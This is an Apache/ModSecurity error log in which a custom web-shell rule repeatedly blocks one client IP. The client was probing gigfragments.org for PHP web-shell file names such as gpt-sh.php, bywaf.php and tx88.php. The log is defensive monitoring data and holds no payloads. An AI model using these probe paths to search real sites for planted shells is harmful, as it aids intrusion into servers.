[Fri Mar 27 19:10:18.058071 2026] [:error] [pid 63897:tid 63919] [client 158.158.32.90:43492] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uxijj.php"] [unique_id "acZlmmVSkmYmLu7ycYg-XwAAARQ"]
[Fri Mar 27 19:10:18.716862 2026] [:error] [pid 27743:tid 27765] [client 158.158.32.90:63992] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uxijj.php"] [unique_id "acZlmiA46UYYLqzw99DHHwAAAAE"]
[Fri Mar 27 19:10:19.558211 2026] [:error] [pid 27749:tid 27795] [client 158.158.32.90:62709] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uxijj.php"] [unique_id "acZlm8EqyoMni2Q6_X7pSQAAAEQ"]
[Fri Mar 27 19:10:20.243554 2026] [:error] [pid 4341:tid 4358] [client 158.158.32.90:25518] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uxijj.php"] [unique_id "acZlnOKJWrNB5dMlERGNXwAAAY8"]
[Fri Mar 27 19:10:20.823595 2026] [:error] [pid 63897:tid 63904] [client 158.158.32.90:63878] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rkiea.php"] [unique_id "acZlnGVSkmYmLu7ycYg-aQAAAQU"]
[Fri Mar 27 19:10:21.464026 2026] [:error] [pid 4293:tid 4316] [client 158.158.32.90:63890] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rkiea.php"] [unique_id "acZlnZLjeJUC3OKtEx9bxgAAAVU"]
[Fri Mar 27 19:10:22.068782 2026] [:error] [pid 27743:tid 27784] [client 158.158.32.90:62698] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rkiea.php"] [unique_id "acZlniA46UYYLqzw99DHJgAAABQ"]
[Fri Mar 27 19:10:22.767522 2026] [:error] [pid 4293:tid 4300] [client 158.158.32.90:59317] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/rkiea.php"] [unique_id "acZlnpLjeJUC3OKtEx9bzQAAAUU"]
[Fri Mar 27 19:10:23.316431 2026] [:error] [pid 4293:tid 4312] [client 158.158.32.90:55721] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "acZln5LjeJUC3OKtEx9b0QAAAVE"]
[Fri Mar 27 19:10:23.818247 2026] [:error] [pid 27749:tid 27810] [client 158.158.32.90:59321] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "acZln8EqyoMni2Q6_X7pTgAAAFM"]
[Fri Mar 27 19:10:24.413347 2026] [:error] [pid 4293:tid 4315] [client 158.158.32.90:60544] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "acZloJLjeJUC3OKtEx9b2QAAAVQ"]
[Fri Mar 27 19:10:25.002551 2026] [:error] [pid 27743:tid 27788] [client 158.158.32.90:62717] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/resp.php"] [unique_id "acZloSA46UYYLqzw99DHJwAAABg"]
[Fri Mar 27 19:10:25.576777 2026] [:error] [pid 4341:tid 4352] [client 158.158.32.90:63914] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lanou.php"] [unique_id "acZloeKJWrNB5dMlERGNZAAAAYk"]
[Fri Mar 27 19:10:46.378336 2026] [:error] [pid 27743:tid 27767] [client 158.158.32.90:63951] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "acZltiA46UYYLqzw99DHkAAAAAM"]
[Fri Mar 27 19:10:51.440305 2026] [:error] [pid 63897:tid 63920] [client 158.158.32.90:56335] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "acZlu2VSkmYmLu7ycYg-nwAAARU"]
[Fri Mar 27 19:10:52.231684 2026] [:error] [pid 27750:tid 27822] [client 158.158.32.90:59315] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "acZlvIaSil5rd17ieLzmugAAAIQ"]
[Fri Mar 27 19:10:52.944710 2026] [:error] [pid 27750:tid 27819] [client 158.158.32.90:43511] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/saorix1.php"] [unique_id "acZlvIaSil5rd17ieLzmvgAAAIE"]
[Fri Mar 27 19:10:53.643220 2026] [:error] [pid 27743:tid 27769] [client 158.158.32.90:35828] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "acZlvSA46UYYLqzw99DHoAAAAAU"]
[Fri Mar 27 19:10:54.155880 2026] [:error] [pid 4341:tid 4350] [client 158.158.32.90:56338] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "acZlvuKJWrNB5dMlERGNggAAAYc"]
[Fri Mar 27 19:10:54.671153 2026] [:error] [pid 4341:tid 4355] [client 158.158.32.90:59958] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "acZlvuKJWrNB5dMlERGNhQAAAYw"]
[Fri Mar 27 19:10:55.397759 2026] [:error] [pid 27743:tid 27787] [client 158.158.32.90:59922] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-class.php"] [unique_id "acZlvyA46UYYLqzw99DHpQAAABc"]
[Fri Mar 27 19:10:55.910627 2026] [:error] [pid 4293:tid 4316] [client 158.158.32.90:53275] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "acZlv5LjeJUC3OKtEx9cPAAAAVU"]
[Fri Mar 27 19:10:56.468080 2026] [:error] [pid 4293:tid 4314] [client 158.158.32.90:35784] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "acZlwJLjeJUC3OKtEx9cQwAAAVM"]
[Fri Mar 27 19:10:57.130135 2026] [:error] [pid 4293:tid 4302] [client 158.158.32.90:63978] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "acZlwZLjeJUC3OKtEx9cSwAAAUc"]
[Fri Mar 27 19:10:58.143490 2026] [:error] [pid 27743:tid 27775] [client 158.158.32.90:63981] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/uuu.php"] [unique_id "acZlwiA46UYYLqzw99DHrAAAAAs"]
[Fri Mar 27 19:10:58.630637 2026] [:error] [pid 27851:tid 27878] [client 158.158.32.90:40964] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "acZlwnR2ccxe3RMCLbrixQAAANQ"]
[Fri Mar 27 19:10:59.135067 2026] [:error] [pid 27749:tid 27801] [client 158.158.32.90:59288] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "acZlw8EqyoMni2Q6_X7pbwAAAEo"]
[Fri Mar 27 19:10:59.636222 2026] [:error] [pid 4293:tid 4308] [client 158.158.32.90:59915] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "acZlw5LjeJUC3OKtEx9cUgAAAU0"]
[Fri Mar 27 19:11:00.123888 2026] [:error] [pid 27743:tid 27777] [client 158.158.32.90:56383] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-load.php"] [unique_id "acZlxCA46UYYLqzw99DHtAAAAA0"]
[Fri Mar 27 19:11:00.625889 2026] [:error] [pid 27851:tid 27864] [client 158.158.32.90:3590] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gpt-sh.php"] [unique_id "acZlxHR2ccxe3RMCLbriygAAAMY"]
[Fri Mar 27 19:11:01.135199 2026] [:error] [pid 27749:tid 27798] [client 158.158.32.90:63876] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gpt-sh.php"] [unique_id "acZlxcEqyoMni2Q6_X7pcQAAAEc"]
[Fri Mar 27 19:11:01.621583 2026] [:error] [pid 27851:tid 27869] [client 158.158.32.90:58042] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gpt-sh.php"] [unique_id "acZlxXR2ccxe3RMCLbriywAAAMs"]
[Fri Mar 27 19:11:02.145285 2026] [:error] [pid 27851:tid 27881] [client 158.158.32.90:59299] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/gpt-sh.php"] [unique_id "acZlxnR2ccxe3RMCLbrizAAAANc"]
[Fri Mar 27 19:11:02.731355 2026] [:error] [pid 63897:tid 63905] [client 158.158.32.90:57994] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bywaf.php"] [unique_id "acZlxmVSkmYmLu7ycYg-rAAAAQY"]
[Fri Mar 27 19:11:03.274638 2026] [:error] [pid 4293:tid 4312] [client 158.158.32.90:63988] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bywaf.php"] [unique_id "acZlx5LjeJUC3OKtEx9cWgAAAVE"]
[Fri Mar 27 19:11:03.771245 2026] [:error] [pid 27743:tid 27777] [client 158.158.32.90:57572] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bywaf.php"] [unique_id "acZlxyA46UYYLqzw99DHvAAAAA0"]
[Fri Mar 27 19:11:04.330275 2026] [:error] [pid 4293:tid 4301] [client 158.158.32.90:46264] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/bywaf.php"] [unique_id "acZlyJLjeJUC3OKtEx9cfgAAAUY"]
[Fri Mar 27 19:11:05.103576 2026] [:error] [pid 63897:tid 63904] [client 158.158.32.90:57568] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-true.php"] [unique_id "acZlyWVSkmYmLu7ycYg-sAAAAQU"]
[Fri Mar 27 19:11:09.115964 2026] [:error] [pid 27743:tid 27779] [client 158.158.32.90:62714] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-true.php"] [unique_id "acZlzSA46UYYLqzw99DHygAAAA8"]
[Fri Mar 27 19:11:11.268146 2026] [:error] [pid 27743:tid 27772] [client 158.158.32.90:61191] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-true.php"] [unique_id "acZlzyA46UYYLqzw99DHzQAAAAg"]
[Fri Mar 27 19:11:11.995788 2026] [:error] [pid 4293:tid 4308] [client 158.158.32.90:53281] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/wp-true.php"] [unique_id "acZlz5LjeJUC3OKtEx9chAAAAU0"]
[Fri Mar 27 19:11:12.956310 2026] [:error] [pid 4293:tid 4316] [client 158.158.32.90:35815] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp8.php"] [unique_id "acZl0JLjeJUC3OKtEx9cjgAAAVU"]
[Fri Mar 27 19:11:13.602893 2026] [:error] [pid 27743:tid 27774] [client 158.158.32.90:25503] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp8.php"] [unique_id "acZl0SA46UYYLqzw99DH0QAAAAo"]
[Fri Mar 27 19:11:14.351296 2026] [:error] [pid 4293:tid 4317] [client 158.158.32.90:61231] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp8.php"] [unique_id "acZl0pLjeJUC3OKtEx9ckwAAAVY"]
[Fri Mar 27 19:11:15.197737 2026] [:error] [pid 27749:tid 27795] [client 158.158.32.90:56324] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/byp8.php"] [unique_id "acZl08EqyoMni2Q6_X7pfgAAAEQ"]
[Fri Mar 27 19:11:16.183034 2026] [:error] [pid 27851:tid 27876] [client 158.158.32.90:41646] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx88.php"] [unique_id "acZl1HR2ccxe3RMCLbri7gAAANI"]
[Fri Mar 27 19:11:17.095525 2026] [:error] [pid 4293:tid 4298] [client 158.158.32.90:35779] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx88.php"] [unique_id "acZl1ZLjeJUC3OKtEx9cowAAAUM"]
[Fri Mar 27 19:11:17.712104 2026] [:error] [pid 27743:tid 27781] [client 158.158.32.90:35798] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx88.php"] [unique_id "acZl1SA46UYYLqzw99DH1wAAABE"]
[Fri Mar 27 19:11:18.669434 2026] [:error] [pid 4293:tid 4314] [client 158.158.32.90:58046] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx88.php"] [unique_id "acZl1pLjeJUC3OKtEx9cqgAAAVM"]
[Fri Mar 27 19:11:19.353713 2026] [:error] [pid 4293:tid 4296] [client 158.158.32.90:57573] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "acZl15LjeJUC3OKtEx9crAAAAUE"]
[Fri Mar 27 19:11:19.841938 2026] [:error] [pid 4293:tid 4295] [client 158.158.32.90:61220] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "acZl15LjeJUC3OKtEx9cswAAAUA"]
[Fri Mar 27 19:11:20.386675 2026] [:error] [pid 27851:tid 27865] [client 158.158.32.90:3584] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "acZl2HR2ccxe3RMCLbri8QAAAMc"]
[Fri Mar 27 19:11:21.012533 2026] [:error] [pid 27750:tid 27838] [client 158.158.32.90:47609] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/tx79.php"] [unique_id "acZl2YaSil5rd17ieLzm2wAAAJQ"]
[Fri Mar 27 19:11:21.571854 2026] [:error] [pid 27743:tid 27783] [client 158.158.32.90:58023] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "acZl2SA46UYYLqzw99DH4AAAABM"]
[Fri Mar 27 19:11:22.296841 2026] [:error] [pid 27743:tid 27781] [client 158.158.32.90:56333] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "acZl2iA46UYYLqzw99DH4gAAABE"]
[Fri Mar 27 19:11:22.819266 2026] [:error] [pid 27743:tid 27776] [client 158.158.32.90:53260] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "acZl2iA46UYYLqzw99DH5AAAAAw"]
[Fri Mar 27 19:11:23.540596 2026] [:error] [pid 4293:tid 4312] [client 158.158.32.90:25475] [client 158.158.32.90] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/max.php"] [unique_id "acZl25LjeJUC3OKtEx9cvQAAAVE"]
